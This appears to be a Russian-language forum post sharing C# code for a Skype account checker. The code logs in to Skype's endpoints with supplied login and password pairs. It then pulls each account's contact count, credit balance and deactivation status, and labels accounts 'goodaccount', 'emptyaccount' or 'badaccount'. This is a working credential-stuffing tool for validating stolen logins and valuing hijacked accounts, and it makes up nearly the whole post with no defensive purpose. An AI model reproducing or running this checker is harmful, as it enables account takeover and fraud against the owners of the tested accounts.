Hash - Функция понадобится для дальнейшей работы .
Код:
public static string Hash(string text)
{
string result;
using (var md5 = MD5.Create())
{
var data = md5.ComputeHash(Encoding.UTF8.GetBytes(text));
result = Convert.ToBase64String(data);
}
return result;
}
Код:
rq.IgnoreProtocolErrors = true;
rq.UserAgent = Http.ChromeUserAgent();
rq.AddHeader("Accept", "application/json, text/javascript, */*; q=0.01").AddHeader("X-Requested-With", "XMLHttpRequest");
var dataReg = "skypename=" + login;
var regCheck = rq.Post("https://login.skype.com/registration/validator", dataReg, "application/x-www-form-urlencoded; charset=UTF-8").ToString();
if (regCheck.Contains("name_unavailable"))
{
var data = "username=" + Http.UrlEncode(login) + "&password=" + Http.UrlEncode(pass);
var auth = rq.Post("https://api.skype.com/login/session", data, "application/x-www-form-urlencoded").ToString();
if (auth.Contains("skype-session"))
{
var sessionSkypeToken = Regex.Match(auth, "(?i)(?<=token.:.)(.*?)(?=.})").Groups[1].Value;
var passHash = Hash(Http.UrlEncode(login) + "\nskyper\n" + Http.UrlEncode(pass));
var dataToken = "scopes=client&clientVersion=0/7.4.85.102/259/&username=" + Http.UrlEncode(login) + "&passwordHash=" + Http.UrlEncode(passHash);
var authToken = rq.Post("https://api.skype.com/login/skypetoken", dataToken, "application/x-www-form-urlencoded").ToString();
if (authToken.Contains("skypetoken\":\""))
{
var skypeToken = Regex.Match(authToken, "(?i)(?<=skypetoken.:.)(.*?)(?=.,.)").Groups[1].Value;
var dataPortal = "skypetoken=" + skypeToken + "&session_token=" + sessionSkypeToken;
rq.Post("https://secure.skype.com/portal/login", dataPortal, "application/x-www-form-urlencoded").None();
if (rq.Response.Location.Contains("https://secure.skype.com/portal/overview"))
{
rq.CharacterSet = Encoding.UTF8;
var info = rq.Get("https://secure.skype.com/portal/overview").ToString();
if (info.Contains("My Account"))
{
rq.AddHeader("Accept", "application/json; ver=1.0").AddHeader("X-Skypetoken", skypeToken).AddHeader("X-Stratus-Caller", "skype.com").AddHeader("X-Stratus-Request", "a691757a");
var getContactList = rq.Get("https://contacts.skype.com/contacts/v1/users/" + Http.UrlEncode(login) + "/contacts?$filter=type%20eq%20%27skype%27%20or%20type%20eq%20%27msn%27%20or%20type%20eq%20%27pstn%27%20or%20type%20eq%20%27agent%27&reason=default").ToString();
if (getContactList.Contains("contacts\":"))
{
var contactList = Regex.Match(getContactList, "(?i)(?<=count.:)(.*?)(?=,.)").Groups[1].Value;
var balance = Regex.Match(info, "(?i)(?<=first.semibold.>)(.*?)(?=</span>)").Groups[1].Value;
var userInfo = "Данные для входа - " + userOne + "\r\nКонтактов - " + contactList;
if (!balance.Contains("Your best calling rates"))
{
userInfo = userInfo + "\r\nБаланс - " + balance;
if (info.Contains("<span aria-hidden=\"true\">"))
{
var deactivate = Regex.Match(info, "(?i)(?<=<span.aria-hidden=.true.>)(.*?)(?=</span>)");
userInfo = userInfo + " , " + deactivate + "\r\n================\r\n";
}
else
{
userInfo = userInfo + "\r\n================\r\n";
}
result = "goodaccount;" + userInfo;
}
else
{
result = "emptyaccount;" + userInfo + "\r\n================\r\n";
}
}
else
{
result = "error";
}
}
else
{
result = "error";
}
}
else
{
result = "error";
}
}
else
{
result = "error";
}
}
else if (auth.Contains("code\":40415") || auth.Contains("code\":40411"))
{
result = "badaccount";
}
else
{
result = "error";
}
}
else
{
result = "badaccount";
}